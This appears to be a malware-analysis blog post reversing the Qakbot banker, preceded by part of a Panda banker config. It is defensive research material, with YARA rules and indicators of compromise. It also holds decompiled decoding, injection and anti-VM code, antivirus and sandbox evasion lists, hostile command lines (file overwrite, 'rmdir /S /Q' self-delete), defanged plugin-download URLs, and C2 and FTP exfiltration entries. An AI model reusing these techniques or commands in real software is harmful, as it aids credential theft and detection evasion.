"url_plugin_vnc64": "hXXps://uiaoduiiej.chimkent[.]su/vnc64.bin",
"url_plugin_vnc_backserver": "nityYUQPeUwsKYfNAKh7c9O8lCQ=",
"url_plugin_backsocks": "hXXps://uiaoduiiej.chimkent[.]su/backsocks.bin",
"url_plugin_backsocks_backserver": "nityYUQPeUwsKYfNAKh7c9O8lCQ=",
"url_plugin_grabber": "hXXps://uiaoduiiej.chimkent[.]su/grabber.bin",
"grabber_pause": 1,
"grab_softlist": 1,
"grab_pass": 1,
"grab_form": 1,
"grab_cert": 1,
"grab_cookie": 1,
"grab_del_cookie": 0,
"grab_del_cache": 0,
"url_plugin_keylogger": "hXXps://uiaoduiiej.chimkent[.]su/keylogger.bin",
"keylog_process": "ZmlyZWZveC5leGUAY2hyb21lLmV4ZQBpZXhwbG9yZS5leGUAb3BlcmEuZXhlAAA=",
"screen_process": "cHV0dHkuZXhlAAA=",
"reserved": "JxZpa8bZHbYkIIvhyEd1cVZ/nS6URxD5wnvrDNiAjyi3xnWW8S8q9f/0ap+7kLHnW4XhNudnwRRizwE="
}

B. Panda Command-and-Control: 

urimchi3dt4[.]website

C. Hooked APIs

p.p1 {margin: 0.0px 0.0px 0.0px 0.0px; font: 8.5px Helvetica}

Hooked API:
Internet Explorer (wininet.dll):
HttpSendRequestW
HttpSendRequestA
HttpSendRequestExW
HttpSendRequestExA
InternetReadFile
InternetReadFileExA
InternetReadFileExW
InternetQueryDataAvailable
InternetCloseHandle
HttpOpenRequestA
HttpOpenRequestW
HttpQueryInfoA
InternetConnectA
InternetConnectW
InternetWriteFile

Mozilla Firefox (nss3.dll):
PR_Close
PR_Read
PR_Write
PR_Poll

Google Chrome (chrome.dll):
SSL_read
SSL_write

Winsock 2 (ws2_32.dll):
closesocket
WSASend
WSARecv
recv

user32.dll:
TranslateMessage
GetClipboardData

Let’s Learn: In-Depth Reversing of Qakbot "qbot" Banker Part 1

GoalReverse engineer and analyze the Qakbot banker with the focus on its core functionality, new configuration, and decoded template.

https://platform.twitter.com/widgets.js Malware Sources:
Invoice-75301.doc(5f894602e88263e34dcdbb2eb2da3078)
Original Signed Packed Qakbot Banker

(805f48f1295e28cc82c180844e3165d6)

Background
While investigating one notable infection chain distribution (thanks to @pollo290987), linked to both Emotet Loader and Qakbot Banker, I decided to take a deeper dive into the QakBot binary and its related component with the focus on core functionality. Qakbot is one of the oldest but yet-still-active bankers on the financial malware landscape operating since 2009. Qbot is a credential-stealing financial malware known to target customers of financial institutions for account takeover fraud (ATO). The malware has worm capabilities to self-replicate through shared networks, drives, and removable media, and is notable for active directory bruteforcing as detailed by IBM X-Force.
Outline:

The following functions of interest will be analyzed:

I. Packed Digitally Signed Qakbot Loader 
II. Unpacked Core qbot
A. Decryption XOR Routine
III. "Explorer" Process Injection
IV. Qakbot Configuration
V. Anti-Analysis
VI. Persistency Mechanism
VII. Yara Signature
A. Qakbot Unpacked Core
B. Qakbot Communicator DLL
C. Qakbot Inject DLL
VIII. Indicators of Compromise
IX. Addendum: Full Decoded First-Layer Template

I. Packed Digitally Signed Qakbot Loader 
The malware initial packed loader is digitally signed with Thawte in order to bypass possible trust-based detection with the following company “A&W Global Ltd.”

CN = A&W Global Ltd
O = A&W Global Ltd
L = St. Helens
S = Merseyside
C = GB


The initial loader simply self-injects and unpacks the core malware in memory. The module can be retrieved vis scanning mapped memory region and dumping the unmapped executable, which would be the Qakbot core component. One of the notable details behind the banker execution is that the malware overwrites the launched executable with the Calculator utility in %WINDIR%\System32 via the CreateProcessA. More specifically, the qbot uses the calc.exe utility to invoke a ping command that will repeat six times in a loop:

|hWnd = NULL
|Operation = NULL
|FileName = "cmd.exe"
|Parameters = " /c ping.exe -n 6 127.0.0.1 & type "C:\Windows\System32\calc.exe" > "PATH_TO_QBOT"
|DefDir = NULL
\IsShown = 0

II.Unpacked Core Qakbot

The unpacked core qbot, coded in Microsoft Visual C++, was compiled on January 29, 2018 06:25:49  with 9 imported DLL libraries with the five usual sections (.text -> .rsrc) with no anomalies. The coding style of Qakbot reveals heavy reliance of the developer on Ansi equivalent Microsoft API calls, which likely speaks to the older code base since most of the recent malware relies more on Unicode API equivalents. The bot primarily coordinates injection functions and control via IPC (inter-process communication) with named pipes.
The Qakbot code reveals a lot of functionality including its Domain Generation Algorithm with domain TLD (“com;net;org;info;biz;org”), which version was well-documented by Johannes BaderThe qbot also communicates via FTP with available credentials. The qbot checks the machine speed by downloading a sample via “https://cdn%5B.%5Dspeedof%5B.%5Dme/sample4096k%5B.%5Dbin?r=0.%u.&#8221;
Notably, the malware also “relaxes” Windows Defender and disables in registry via “SubmitSamplesConsent” and alters “SpynetReporting.”
A. QakBot Decryption XOR Routine 
Once executed, however, Qakbot leverages XOR decryption function with & 0x3f coupled with Windows API call MultiByteToWideChar to convert byte to unicode strings while iterating through the encoded blob.

The pseudo-coded C++ template related to the main string deobfuscated is as follows:

if ( v14 )
{
WideCharStr = 0;
decrypt_iterate_func(&v13, 0, 62);
if ( v15 <= 12 )
{
v6 = 200;
do
{
MultiByteToWideChar(0, 0, (LPCSTR)*(v5 - 1), -1, &WideCharStr, 31);
--v6;
}
while ( v6 );
v4 = (const CHAR *)dword_41453C; // location of encoded data
}
}
v7 = &v4[v16]; // v16 = 0x2AA9u
v8 = byte_413168[v16 & 0x3F];
v9 = v8 == v4[v16];
*v7 ^= v8;
if ( v9 )
{
++v15;
*v5 = v7 + 1;
++v5;
}
++v16;

    }III. “Explorer” Process Injection


The execution sequence is as follows injecting code into “explorer.exe” in both x86 and x64 variants:
start -> main_function -> main_injection -> x86_create_remote_thread/x64_process_inject -> process_injection_main -> inject_writeprocessMemory 
IV. Qakbot Configuration
Qakbot configuration stored as .dat in %APPDATA% as numeric field values as follows:

The config is retrieved as follows via the following call chain: 
start -> main_function -> GetDrive_type_func -> net_server_lookup_function -> anti-analysis ->  trytoget_sid_user_as -> bot_config -> qbot_conf
Some of the notable Qakbot configurations details were noted by BAE Systems in 2016. It appears that the field “10” carries the unique name such as “mc15,” which is a possible designation of the qbot botnet.
Qbot Configuration
10=mc15 (possible botnet name)
11=2 (number of hardcoded C2)
47=bot id as uppercase alphanumeric
1=date of qbot install in HH:MM:ss-dd/mm/yyyy
2=victim qbot install
45=C2 IP
46=C2 port
13=C2 domain
39=victim external IP
38=last victim call to C2 (time in Unix)
6=C2 IP:port
43=time of record ((time in Unix)
15=unknown
5=victim network shares
44=victim share credentials
The bot id generation function is as follows leveraging “ProductID” value in Registry, coupled with the output of GetComputerNameA and GetVolumeInformationA as follows:

 v2 = lpString;
*(_DWORD *)v14 = 0;
nSize = 0;
decrypt_iterate_func(lpString, 0, 256);
v12 = 256;
v11 = RegOpenKeyExA(-2147483646, SOFTWARE_path, 0, 131097, &lpString);
if ( !v11 )
v11 = RegQueryValueExA(lpString, ProductId, 0, 0, v2, &v12);
RegCloseKey(lpString);
if ( v11 )
*(_WORD *)v2 = 48;
nSize = 256 - lstrlenA(v2);
v3 = lstrlenA(v2);
GetComputerNameA((LPSTR)&v2[v3], &nSize);
if ( !GetVolumeInformationA(&unk_411C48, &v9, 256, v14, 0, 0, &v10, 256) )
*(_DWORD *)v14 = 0;
v4 = v14[0];
v5 = 256 - lstrlenA(v2);
v6 = lstrlenA(v2);
wsprintf_filepath(&v2[v6], v5, (int)"%u", v4);
lstrcatA((LPSTR)v2, lpString2);
nSize = lstrlenA(v2);
CharUpperBuffA((LPSTR)v2, nSize);

Notably, the malware does not appear to store in the config file but rather uses the following config fields for FTP communication:

Qbot Additional Config
3=time of config (time in Unix)
22=ftp server1 with credential for C2 communications
23=ftp server2 with credential for C2 communications
24=ftp server3 with credential for C2 communications
25=ftp server4 with credential for C2 communications
26=ftp server5 with credential for C2 communications

The croncache is as follows:
12960;5;1532655973|15;8;1532722066|3;1;1532722258|4294967295;23;1532655912|300;13;1532722066|2736;3;1532701702|5;21;1532722066|720;1001;1532701702|4294967295;12;1532655912
V. Qbot Anti-Analysis

The malware check for various anti-virus processes while running the binary.
  • avgcsrvx.exe;avgsvcx.exe;avgcsrva.exe
  • ccSvcHst.exe
  • MsMpEng.exe
  • mcshield.ex
  • avp.exe
  • egui.exe;ekrn.exe
  • bdagent.exe;vsserv.exe;vsservppl.exe
  • AvastSvc.exe
  • coreServiceShell.exe;PccNTMon.exe;NTRTScan.exe.
  • SAVAdminService.exe;SavService.exe
  • fhoster32.exe
  • WRSA.exe
  • vkise.exe;isesrv.exe;cmdagent.exe
  • ByteFence.exe
  • MBAMService.exe
  • fmon.exe
Additionally, the malware checks for a plethora of anti-analysis and anti-virtual machines. One of the techniques is used to compare CPUID. This instruction is executed with EAX=1 as input, the return value describes the processors features. The 31st bit of ECX on a physical machine will be equal to 0. On a guest VM it will equal to 1.
anti_VM_cpuid((int)&String1);
_EAX = 1;
__asm { cpuid }
v16 = _ECX;
return _ECX == 1 && !lstrcmpiA(&String1, GenuineIntel);
}
DLL (GetModuleHandleA):
  • fshook32.dll (F-Secure)
  • SbieDll.dll (Sandboxie)
  • aswhookx.dll (Avasr)
  • sf2.dll (Avst)
  • dbghelp.dll
  • avcuf32.dll (BitDefender)
For example, 
BOOL check_as_dll()
{
return dword_415934 & 0x82 && (GetModuleHandleA(aswhooka_dll) || GetModuleHandleA(aswhooks_dll));
}
Anti-Virus:
  • Bitdefender
  • Microsoft Security Essentials
  • Norton
  • NOD32
  • Symantec
  • mcafee
  • kaspersky
  • Avast
  • Trend Micro
Filename check:
  • mlwr_smpl
  • antivirus
  • srootkit (AVG)
  • sample.exe
  • sample
Anti-Virtual Machine:
  • QEMU
  • VMware
  • vmdebug
  • vmx_svga
  • VirtIO
  • RedHat
  • vmacthlp.exe
  • vmtoolsd.exe
  • SVGA
  • VMaudio
  • vmrawdsk
  • SCSI
  • VBoxGuest
  • vm3dmp
  • vmxnet
Other:
  • windump.exe
  • artifact.exe
Mutex Check:
  • _AVIRA_71855
VI. Persistency Mechanism
Qakbot sets run persistence via task scheduler as well as curious JavaScript execution via “cscript.exe //E:javascript” with the qbot loader file ending .wpl

VII. Yara Signatures

rule crimeware_win32_qbot_unpacked_core {
meta:
description = "Detects unpacked Qakbot core"
author = "@VK_Intel"
date = "2018-07-29"
hash = "95ec8de64002fc5de7c04ceba04702da"
strings:
$s0 = "powershell.exe" fullword ascii
$s1 = "%s\\%d.exe" fullword ascii
$s2 = "%s\\system32\\" fullword ascii
$s3 = "000223" fullword ascii
$s5 = "000001" fullword ascii
$s6 = "000111" fullword ascii
$s7 = "000005" fullword ascii
$s8 = "Akernel32" fullword ascii
$s9 = "ipconfig netstat" fullword ascii
$s10 = "Win32_Process" fullword ascii
$s11 = "NtQuerySystemInformation" fullword ascii
condition:
uint16(0) == 0x5a4d and filesize < 500KB and all of them
}

rule crimeware_win32_qbot_communicatorDll {
meta:
description = "Detects Qakbot Communicator DLL"
author = "@VK_Intel"
date = "2018-07-29"
hash = "7dad18c4d149849c727fe39eee184fe8"
strings:
$s0 = "powershell.exe" fullword ascii
$s1 = "User-Agent: Microsoft-Windows/%u.%u UPnP/1.0" fullword ascii
$s2 = "\\\\.\\pipe\\%ssp" fullword ascii
$s3 = "http://www.ip-adress.com" fullword ascii
$s4 = "%s\\%s.exe" fullword wide
$s5 = "POST %s HTTP/%s" fullword ascii
$s6 = "urn:schemas-upnp-org:service:WANCommonInterfaceConfig:1" fullword ascii
$s7 = "HOST: %s:1900" fullword ascii
$s8 = "GetPortMappingNumberOfEntries" fullword ascii
$s9 = "GetSpecificPortMappingEntry" fullword ascii
$s10 = "%s\\tmp_%u.exe" fullword ascii
$s11 = "GetConnectionTypeInfo" fullword ascii
$s12 = "\\AppData\\LocalLow\\" fullword ascii
$s13 = "%s\\~%s.tmp" fullword ascii
$s14 = "%s\\system32\\" fullword ascii
condition:
uint16(0) == 0x5a4d and filesize < 200KB and 10 of them
}

rule crimeware_win64_qbot_injectedDll {
meta:
description = "Detects Qakbot Inject DLL"
author = "@VK_Intel"
date = "2018-07-29"
hash = "03e78339b09aa5e9885c24b2e8af84f4"
strings:
$s0 = "chrome.dll" fullword ascii
$s1 = "\\\\.\\pipe\\%ssp" fullword ascii
$s2 = "content-security-policy-report-only" fullword ascii
$s3 = "\\AppData\\LocalLow\\" fullword ascii
$s4 = "content-security-policy" fullword ascii
$s5 = "cookie=[" fullword ascii
$s6 = "referer=[" fullword ascii
$s7 = "X-Frame-Options" fullword ascii
$s8 = "user.js" fullword wide

$op0 = { e8 99 b0 00 00 44 8b 5d c4 44 01 5b 18 41 80 3e }
$op1 = { e8 f1 ec ff ff 48 89 84 24 98 }
$op2 = { 48 8b 53 28 48 8b c8 e8 ca 6a 00 00 eb 03 41 8b }
condition:
uint16(0) == 0x5a4d and filesize < 421KB and all of ($s*) and 1 of ($op*)
}

VIII. Indicators of Compromise (IOCs)
A. The observed list of C2 servers

66.189.228[.]49;0;995
70.169.12[.]141;0;443
150.200.247[.]87;0;443
71.77.22[.]206;0;443
76.73.202[.]82;0;443
74.88.210[.]56;0;995
97.97.160[.]42;0;443
146.135.9[.]64;0;443
71.190.202[.]120;0;443
47.223.85[.]33;0;443
98.26.2[.]182;0;443
50.111.32[.]211;0;443
68.207.33[.]232;0;2222
68.173.55[.]51;0;443
76.186.82[.]51;0;443
67.197.104[.]90;0;443
73.40.24[.]158;0;443
50.42.189[.]206;0;993
65.116.179[.]83;0;443
50.32.243[.]36;0;443
185.219.83[.]73;0;443
72.133.105[.]155;0;443
216.201.159[.]118;0;443
68.207.43[.]173;0;443
216.218.74[.]196;0;443
96.248.15[.]254;0;995
75.189.235[.]216;0;443
98.103.2[.]226;0;443
24.100.46[.]201;0;2222
24.11.50[.]136;0;443
75.109.193[.]173;0;2087
73.106.122[.]121;0;443
173.160.3[.]209;0;443
70.118.18[.]242;0;443
24.163.66[.]146;0;443
173.248.24[.]230;0;443
68.129.231[.]84;0;443
174.48.72[.]160;0;443
216.93.143[.]182;0;995
184.180.157[.]203;0;2222
68.49.120[.]179;0;443
75.109.193[.]173;0;1194
75.109.193[.]173;0;8443
98.16.70[.]197;0;2222
47.134.236[.]166;0;443
105.227.20[.]203;0;443
97.70.129[.]250;0;443
24.228.185[.]224;0;2222
72.174.25[.]139;0;443
24.209.137[.]134;0;443
98.225.141[.]232;0;443
67.197.97[.]144;0;443
173.81.42[.]136;0;21
24.155.191[.]156;0;995
97.84.210[.]38;0;2222
93.108.180[.]227;0;443
190.185.219[.]110;0;443
63.79.135[.]0;0;443
96.73.55[.]193;0;993
207.178.109[.]161;0;443
99.197.182[.]183;0;443
67.83.122[.]112;0;2222
50.198.141[.]161;0;2078
47.40.29[.]239;0;443
12.2.201[.]35;0;443
76.176.7[.]41;0;443
75.127.141[.]50;0;995
71.210.153[.]133;0;443
189.175.147[.]195;0;443
73.231.147[.]128;0;443
73.130.229[.]200;0;443
67.11.27[.]100;0;443
12.196.116[.]242;0;443
216.21.168[.]27;0;32101
24.6.31[.]163;0;443
216.21.168[.]27;0;995
96.40.85[.]72;0;443
69.129.12[.]186;0;21
71.172.250[.]114;0;443
73.152.213[.]187;0;80
68.226.136[.]96;0;443
71.222.141[.]81;0;61200
76.182.33[.]43;0;2222
24.180.160[.]192;0;443
173.160.3[.]209;0;995
97.70.85[.]248;0;443
24.180.246[.]147;0;443
173.70.44[.]171;0;443
216.21.168[.]27;0;50000
24.180.246[.]147;0;443
96.32.171[.]132;0;443
47.48.236[.]98;0;2222
70.182.79[.]66;0;443
173.80.75[.]177;0;443
24.141.179[.]121;0;443
204.85.12[.]25;0;443
24.175.103[.]122;0;995
24.252.80[.]93;0;443
68.206.135[.]146;0;443
184.174.166[.]107;0;443
71.33.192[.]23;0;995
24.190.226[.]234;0;443
71.10.155[.]97;0;443
24.180.246[.]147;0;443
181.93.205[.]181;0;443
207.243.48[.]26;0;443
68.113.142[.]24;0;465
72.193.162[.]108;0;443
68.59.209[.]183;0;995
98.243.166[.]148;0;443
72.179.39[.]89;0;443
67.76.37[.]105;0;443
174.109.117[.]152;0;443
73.52.101[.]153;0;80
70.21.182[.]149;0;2222
24.180.246[.]147;0;443
65.191.74[.]248;0;443
65.40.207[.]151;0;995
73.183.145[.]218;0;2222
209.213.24[.]194;0;443
68.207.33[.]242;0;443
172.87.188[.]2;0;443
65.132.30[.]18;0;443
104.153.240[.]6;0;2222
24.93.104[.]154;0;443
75.106.233[.]194;0;443
65.191.128[.]99;0;443
65.169.66[.]123;0;2222
71.172.250[.]114;0;443
67.55.174[.]194;0;443
107.15.153[.]110;0;8443
205.169.108[.]194;0;443
47.221.46[.]163;0;443
71.48.218[.]91;0;995
73.74.72[.]141;0;443
71.85.72[.]9;0;443
172.164.17[.]102;0;443
173.191.238[.]124;0;995
47.186.93[.]228;0;443
184.191.61[.]13;0;32100
209.180.154[.]97;0;995
68.133.47[.]150;0;443
75.189.239[.]153;0;443
204.85.12[.]26;0;443
76.101.165[.]66;0;443
97.84.166[.]64;0;443
72.133.75[.]134;0;443
68.207.45[.]236;0;443
104.153.240[.]6;0;2222
206.67.215[.]7;0;443
206.67.215[.]7;0;443


B. Qbot Configuration

10=mc15
11=2
47=REDACTED
1=REDACTED
2=REDACTED
45=97.84.166[.]64
46=443
13=content[.]markdutchinc[.]com
39=REDACTED
38=REDACTED
6=85.25.211[.]31:65400
43=REDACTED
15=-722023893
5=REDACTED
44=REDACTED
3=REDACTED
22=37.60.244[.]211:backup_manager@garciasdrywall[.]com:REDACTED:
23=198.38.77[.]162:backup_manager@worldexpresscargo[.]com:REDACTED:
24=61.221.12[.]26:logger@ostergift[.]com:REDACTED:
25=67.222.137[.]18:logger@grupocrepusculo[.]net:REDACTED:
26=107.6.152[.]61:logger@trussedup[.]com:REDACTED:

IX. Appendix: Full Decoded First-Layer Template

WNetCancelConnection2W
END
FindWindowA
GetFileAttributesW
ntdll.dll
VirtualProtect
image/jpeg
Software\Microsoft\Office\Outlook\OMI
Account
Manager\Accounts
InternetQueryDataAvailable
DnsQuery_W
shell32.dll
qbot_conf_path='%s'
username='%s'
ws2_32.dll
USERPROFILE
CreateFileA
.dll
.cfg
.png
vSockets
Module32First
CloseServiceHandle
HttpSendRequestExW
HttpSendRequestExA
dumprep.exe
CertFreeCertificateChainEngine
dnsrslvr.dll
Bitdefender
LookupAccountSidA
StringIndex
%s
/P
%s
Microsoft
Security
Essentials
RegOpenKeyExA
HttpOpenRequestW
HttpEndRequestW
:String
WNetOpenEnumW
fshook32.dll
NTUSER.DAT
GenuineIntel
CertAddCertificateContextToStore
mlwr_smpl
RegCloseKey
CertEnumSystemStore
Process32Next
PostMessageA
FtpOpenFileA
Passport.Net\*
/s
LdrLoadDll
SendMessageA
http
CertOpenStore
If-Modified-Since
kernel32.dll
Initializing
database...
/c
QEMU
NetGetDCName
.jpeg
VMware
Vista
f1
SbieDll.dll
Norton
PR_Read
com;net;org;info;biz;org
NOD32
GetModuleFileNameA
Software\Microsoft\Internet
Account
Manager\Accounts
RegQueryValueExA
%02u.%02u.%02u-%02u/%02u/%04u
m1
\*.txt
82BD0E67-9FEA-4748-8672-D5EFE5B779B0
Red
Hat
VirtIO
windbg.exe;ChromeUpdate.exe;msdev.exe;dbgview.exe;ollydbg.exe;ctfmon.exe;Proxifier.exe;nav.exe;Microsoft.Notes.exe;ShellExperienceHost.exe
vmnat.exe
UnregisterClassA
TEMP
cert_name=[%s|%s]
SMTP
Port;POP3
Port;IMAP
Port;SMTP
Email
Address;SMTP
Server;POP3
Server;POP3
User
Name;SMTP
User
Name;NNTP
Email
Address;NNTP
User
Name;NNTP
Server;IMAP
Server;IMAP
User
Name;Email;HTTP
User;HTTP
Server
URL;POP3
User;IMAP
User;HTTPMail
User
Name;HTTPMail
Server;SMTP
User;001e6607;001e6608
FreeSid
CreateRemoteThread
h1
antivirus

InternetWriteFile
VMware
server
memory
CreateThread
CreateServiceA
SetEndOfFile
Common
Files
wtsapi32.dll
1
Symantec
Shared
RegEnumKeyExA
TAB
ShowWindow
abe2869f-9b47-4cd9-a358-c22904dba7f7
WNetAddConnection2W
USER
FindNextFileW
p=[
artic1e
RegEnumValueW
open
srootkit
ftp
CreateServiceW
FtpDeleteFileA
WTSFreeMemory
11
CertEnumCertificatesInStore
HttpOpenRequestA
InternetReadFileExW
UpdateWindow
VMware
Replay
CertGetCertificateChain
k1
vmdebug
ext_ip=[%s]
dnsname=[%s]
hostname=[%s]
user=[%s]
domain=[%s]
is_admin=[%s]
os=[%s]
qbot_version=[%s]
install_time=[%s]
exe=[%s]
prod_id=[%s]
PeekMessageW
ZwSetLdtEntries
aabcdeefghiijklmnoopqrstuuvwxyyz
VMware
Pointing
FindClose
Software\Microsoft\Windows
NT\CurrentVersion\Windows
Messaging
Subsystem\Profiles
facebook.com/login.php
vmx_svga
mcafee
DestroyWindow
abc
Microsoft
vmacthlp.exe
GetLastError
ReadProcessMemory
ZwQueryInformationThread
k2
Mozilla/5.0
(Windows
NT
6.1;
rv:54.0)
Gecko/20100101
Firefox/54.0
2
InternetGetLastResponseInfoA
APPDATA
RegEnumValueA
dnsapi.dll
VirtualFreeEx
WindowsLive:name=*
ExpandEnvironmentStringsA
CreateDirectoryA
WTSQueryUserToken
cookie=[%s]
WSAConnect
i1
kb
WTSEnumerateSessionsA
PR_Close
DisplayName
Remote
Procedure
Call
(RPC)
Service
kaspersky
WSASetLastError
sample.exe
vmtoolsd.exe
FindNextFileA
ZwQuerySystemInformation
crypt32.dll
CertAddCRLContextToStore
InternetOpenUrlA
SOFTWARE\Microsoft\Windows
NT\CurrentVersion
HOME
netapi32.dll
CertGetEnhancedKeyUsage
WriteFile
https://cdn.speedof.me/sample4096k.bin?r=0.%u
CredEnumerateW
CreateWindowExA
\Cookies
*.*
advapi32.dll
WaitForSingleObject
InternetCrackUrlA
%u.%u.%u.%u
000
FindFirstFileA
wpl
url=[%s]
user=[%s]
pass=[%s]
InternetOpenA
POP3
Password;IMAP
Password;NNTP
Password;HTTPMail
Password;SMTP
Password;POP3
Password2;IMAP
Password2;NNTP
Password2;HTTPMail
Password2;SMTP
Password2
.swf
Avast
MiniDumpWriteDump
CertCloseStore
DeleteFileA
\Application
Data\Macromedia\Flash
Player\#SharedObjects
GetExitCodeProcess
RegSetValueExA
cmd.exe
artifact.exe
rsaenh.dll
.css
nspr4.dll
NetShareEnum
RegQueryInfoKeyA
RegCreateKeyExA
sbtisht
PFXExportCertStore
WSAStartup
If-None-Match
VirtualProtectEx
CertSetCertificateContextProperty
WSACleanup
_qbot
]
b=[
220d5cc1
vmscsi
CreateFileW
connect
LOCALAPPDATA
at.exe
%u:%u
"%s"
/I
AllocateAndInitializeSid
url=[%s]
VMware
VMaudio
i2
image/pjpeg
%H.%M.%S-%d/%m/%Y
dwwin.exe
CryptAcquireCertificatePrivateKey
w1
c1
aswhookx.dll
host=[%s:%u]
user=[%s]
pass=[%s]
AVG
siteadvisor.com;avgthreatlabs.com;safeweb.norton.com
very
big
postdata
%u
bytes
CredEnumerateA
HttpQueryInfoW
VMware
SVGA
1234567890
InternetReadFileExA
InternetConnectA
Software\Microsoft\Internet
Explorer\IntelliForms\Storage2
CertCreateCertificateChainEngine
SetCurrentDirectoryA
TE
Trend
Micro
vmrawdsk
.gif
CredFree
CreateToolhelp32Snapshot
Process32First
explorer.exe
ChromeUpdate.exe
DeleteService
Cookie:
dwErr=%u
szOldRunMutex='%s'
username='%s'
CertGetCRLContextProperty
AdjustTokenPrivileges
aswhooka.dll
GetCurrentProcessId
SetFilePointer
dwErr=%u
qbot_run_mutex='%s'
username='%s'
InternetOpenW
CharToOemBuffA
PR_SetError
9
wininet.dll
security
NetUserEnum
ZwResumeThread
t=%s
time=[%02d:%02d:%02d-%02d/%02d/%d]
HttpAddRequestHeadersA
mpr.dll
StartServiceA
VBoxVideo
runas
uno
InternetQueryOptionA
OpenProcess
Norton
Internet
Security
application/x-shockwave-flash
ProductId
WNetCloseEnum
OpenThread
%%%02X
https://
iphlpapi.dll
aaebcdeeifghiiojklmnooupqrstuuyvwxyyaz
DELETE
]
cookie_data=[
HttpQueryInfoA
data=[%s]
DeleteUrlCacheEntryW
CertGetNameStringW
InterlockedCompareExchange
InternetSetOptionA
e161255a
nss3.dll
windump.exe
Dnscache
CreateProcessW
CryptUnprotectData
GetClipboardData
svchost.exe
WSAGetLastError
OpenSCManagerW
abcdefghijklmnopqrstuvwxyz
Module32Next
.exe
CertFreeCertificateChain
s2
CryptFindOIDInfo
DeleteServiceW
Virtual
HD
.ani
.ico
ResumeThread
PostQuitMessage
InternetSetStatusCallback
cnn.com;microsoft.com;baidu.com;facebook.com;yahoo.com;wikipedia.org;qq.com;linkedin.com;mail.ru
GetForegroundWindow
220d5cd0
VirtualAllocEx
InternetReadFile
VMware
SCSI
LocalFree
GetCurrentThreadId
Query_Main
url=[%s]
data=[%s]
3
\sf2.dll
GetProcAddress
PASS
GetExitCodeThread
DispatchMessageA
0123456789
CryptEnumOIDInfo
iedw.exe
CertFreeCRLContext
RIGHT
user_pref("network.http.spdy.enabled.http2",
false);
CloseHandle
comet.yahoo.com;.hiro.tv;safebrowsing.google.com;geo.query.yahoo.com;googleusercontent.com;salesforce.com;officeapps.live.com;storage.live.com;messenger.live.com;.twimg.com;api.skype.com;mail.google.com;.bing.com;playtoga.com;.mozilla.com;.mozilla.org;hotbar.com;lphbs.com;contacts.msn.com;search.msn.com;clients.mindbodyonline.com;loyaltyconnect.ihg.com;.amazonaws.com;audatexsolutions.com;mail.services.live.com;etsy.com;.king.com;phantomefx.com;facebook.com;.gator.com;doubleclick.;zango.com;180solutions.com;wildtangent.com;webhancer.com;tbreport.bellsouth.net;spamblockerutility.com;internet-optimizer.com;.adworldmedia.com;seekmo.com;r777r.info;sipuku.com;eorezo.com;newasp.com.cn;wpzkq.com;radialpoint.com;owlforce.com;.microsoft.com;localhost;127.0.0.1;securestudies.com;farmville.com;mybrowserbar.com;auditude.com;digitalmediacommunications.com;mapquest.com;kixeye.com;myshopres.com;conduit-services.com;zynga.com;.5min.com;netflix.com;tubemogul.com;youtube.com;brightcove.com;mochibot.com;fwmrm.net;mendeley.com
PR_OpenTCPSocket
PR_GetNameForIdentity
avcuf32.dll
mutex
_AVIRA_71855
CreateProcessA
referer=[%s]
&dump=
PROGRAMFILES
ReadFile
GetMessageW
dbghelp.dll
h3
InternetGetCookieA
HttpSendRequestA
FtpGetFileA
.jpg
StartServiceW
cert_data=[
%s_%s_%u.zip
SetLastError
.js?
GetCurrentDirectoryA
cookie_name=[
ansfltr
DnsQuery_A
CertFreeCertificateContext
ProfileImagePath
u1
LEFT
NetApiBufferFree
*/*
PeekMessageA
metsvc-server.exe
time=[%d:%d:%d-%d/%d/%d]
ex_code=0x%08x
ex_addr=0x%p
ex_module=[%s]
ex_module_base=0x%p
nick=[%s]
th_args=[%08x]
th_flags=[0x%08x]
qbot_version=[%s]
WriteProcessMemory
CertAddCTLContextToStore
ProgramFiles(x86)
5e7e8100
sample
Software\Microsoft\Windows\CurrentVersion\Uninstall
InternetGetCookieExA
Software\\Microsoft\\Windows\\CurrentVersion\\Internet
Settings\\Zones\\
%s%s/dupinst.php?n=%s&bg=%s&r=%u
SetEntriesInAclA
ESCAPE
CPExportKey
ShellExecuteA
https
]
t=[
send
FindFirstFileW
TranslateMessage
AVAST
Software
cryptui.dll
MessageBoxA
rsabase.dll
OpenSCManagerA
WSASend
VMware
Accelerated
8
%%%02x
WNetEnumResourceW
PR_Write
GetMessageA
InternetQueryOptionW
Avast
Global
VMAUDIO
ObtainUserAgentString
urlmon.dll
DefWindowProcA
StackWalk64
DnsQueryExW
PStoreCreateInstance
h2
InternetCloseHandle
cmd
/c
ping
-n
10
localhost
&&
rmdir
/S
/Q
"%s"
RegisterClassExA
DnsQueryExA
i3
RegDeleteValueA
PR_GetError
GetUrlCacheEntryInfoA
10
MoveFileA
NetWkstaGetInfo
HttpEndRequestA
crashdata=
ZwReadFile
HttpSendRequestW
CWSandbox
treasurygateway;ecash.arvest.com;.ntrs.com;tdcommercialbanking.com;olb-ebanking.com;webinfoplus.mandtbank.com;accessmoneymanager.com;commerceconnections.commercebank.com;schwabinstitutional.com;intellix.capitalonebank.com;tdetreasury.tdbank.com;cmoltp.bbt.com;cashmanageronline.bbt.com;.hsbcnet.com;blilk.com;bankeft.com;cmol.bbt.com;securentrycorp.zionsbank.com;tmcb.zionsbank.com;.web-access.com;nj00-wcm;commercial.bnc.ca;/clkccm/;paylinks.cunet.org;e-facts.org;accessonline.abnamro.com;providentnjolb.com;firstmeritib.com;corporatebanking;firstmeritib.com/defaultcorp.aspx;e-moneyger.com;jsp/mainWeb.jsp;svbconnect.com;premierview.membersunited.org;each.bremer.com;iris.sovereignbank.com;/wires/;paylinks.cunet.org;securentrycorp.amegybank.com;tmcb.amegybank.com;businessbankingcenter.synovus.com;businessinternetbanking.synovus.com;ocm.suntrust.com;otm.suntrust.com;cashproonline.bankofamerica.com;singlepoint.usbank.com;netconnect.bokf.com;business-eb.ibanking-services.com;cashproonline.bankofamerica.com;/cashplus/;ebanking-services.com;/cashman/;web-cashplus.com;treas-mgt.frostbank.com;business-eb.ibanking-services.com;treasury.pncbank.com;access.jpmorgan.com;tssportal.jpmorgan.com;ktt.key.com;onlineserv/CM;premierview.membersunited.org;directline4biz.com;.webcashmgmt.com;tmconnectweb;moneymanagergps.com;ibc.klikbca.com;directpay.wellsfargo.com;express.53.com;ctm.53.com;itreasury.regions.com;itreasurypr.regions.com;cpw-achweb.bankofamerica.com;businessaccess.citibank.citigroup.com;businessonline.huntington.com;/cmserver/;goldleafach.com;iachwellsprod.wellsfargo.com;achbatchlisting;/achupload;commercial2.wachovia.com;commercial3.wachovia.com;commercial4.wachovia.com;wc.wachov